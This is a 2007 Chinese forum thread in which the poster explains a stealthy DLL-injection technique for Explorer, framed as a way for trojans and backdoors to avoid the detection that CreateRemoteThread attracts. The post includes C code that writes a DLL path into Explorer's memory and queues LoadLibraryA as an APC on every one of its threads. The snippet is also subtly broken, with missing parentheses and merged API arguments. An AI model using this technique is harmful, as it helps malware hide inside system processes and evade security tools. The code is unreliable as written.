找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1373|回复: 1

暴力注入Explorer详细分析

[复制链接]

42

主题

1479

回帖

2057

牛毛

二级牛人

广结善缘,阿弥托佛:24616107

积分
2077
QQ
发表于 2007-12-11 16:43:47 | 显示全部楼层 来自 湖北省荆门市
没玩过这种

9

主题

20

回帖

38

牛毛

初生牛犊

积分
38
 楼主| 发表于 2007-12-11 15:37:28 | 显示全部楼层 |阅读模式 来自 湖北省武汉市武昌区
向一个运行中的进程注入自己的代码,最自然莫过于使用CreateRemoteThread,如今远线程注入已经是泛滥成灾,同样的监测远线程注入、防止远线程注入的工具也举不胜举,一个木马或后门启动时向Explorer或IE的注入操作就像在自己脸上写上“我是贼”一样。


    用户态代码想要更隐蔽地藏身于别的进程,就应该在注入的环节隐蔽自己的行为。下面就介绍一种非常简单不过比较暴力的方法,给出的示例为在Explorer里加载自己的dll。


首先提到的就是一个API:QueueUserAPC


DWORD QueueUserAPC(

PAPCFUNC pfnAPC, // APC function

HANDLE hThread, // handle to thread

ULONG_PTR dwData // APC function parameter ;


    大家对这个API应该并不陌生,它直接转入了系统服务NtQueueApcThread从而利用KeInsertQueueApc向给出的目标线程的APC队列插入一APC对象。倘若KiDeliverApc顺利的去构造apc环境并执行我们的代码那一切就OK了,只可惜没有那么顺利的事,ApcState中UserApcPending是否为TRUE有重要的影响,结果往往是你等到花儿都谢了你的代码还是没得到执行。在核心态往往不成问题,自己动手赋值,可是用户态程序可不好做,怎么办?其实最简单的,不好做就不做啰,让系统去干。


    实际上应用程序在请求“alertable”的等待时系统就会置UserApcPending为TRUE(当KeDelayExecutionThread/KeWaitForMultipleObjects/KeWaitForSingleObject 使用TestForAlertPending时就有可能,此外还有KeTestAlertThread等,机会还是有的),最简单的例子,目标线程调用SleepEx(***, TRUE)后我们插入APC代码就会乖乖执行了。


    比较幸运的是Explorer进程中一般情况下总有合我们意的线程,于是最简单但并不优美的办法就是枚举Explorer中所有线程,全数插入,示意如下:   ......

DWORD ret;

char *DllName = \"c:\\\\MyDll.dll\";

int len = strlen(DllName) + 1;

PVOID param = VirtualAllocEx(hProcess, NULL, len,

MEM_COMMIT | MEM_TOP_DOWN,

PAGE_READWRITE);

if (param != NULL)

{

if (WriteProcessMemory(hProcess, param,

(LPVOID)DllName, len, &ret))

{

for (DWORD p = 0; p < NumberOfThreads; p ++)

{

hThread = OpenThread(THREAD_ALL_ACCESS, 0,

ThreadId[p]);

if (hThread != 0)

{

InjectDll(hProcess, hThread, (DWORD)param);

CloseHandle(hThread);

}

}

}

......

其中InjectDll:

void InjectDll(HANDLE hProcess, HANDLE hThread, DWORD param)

{

QueueUserAPC(

(PAPCFUNC)GetProcAddress(GetModuleHandle(\"kernel32.dll\", \"LoadLibraryA\",

hThread,

(DWORD)param

;

}
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5用户社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-10 14:09 , Processed in 0.125364 second(s), 25 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表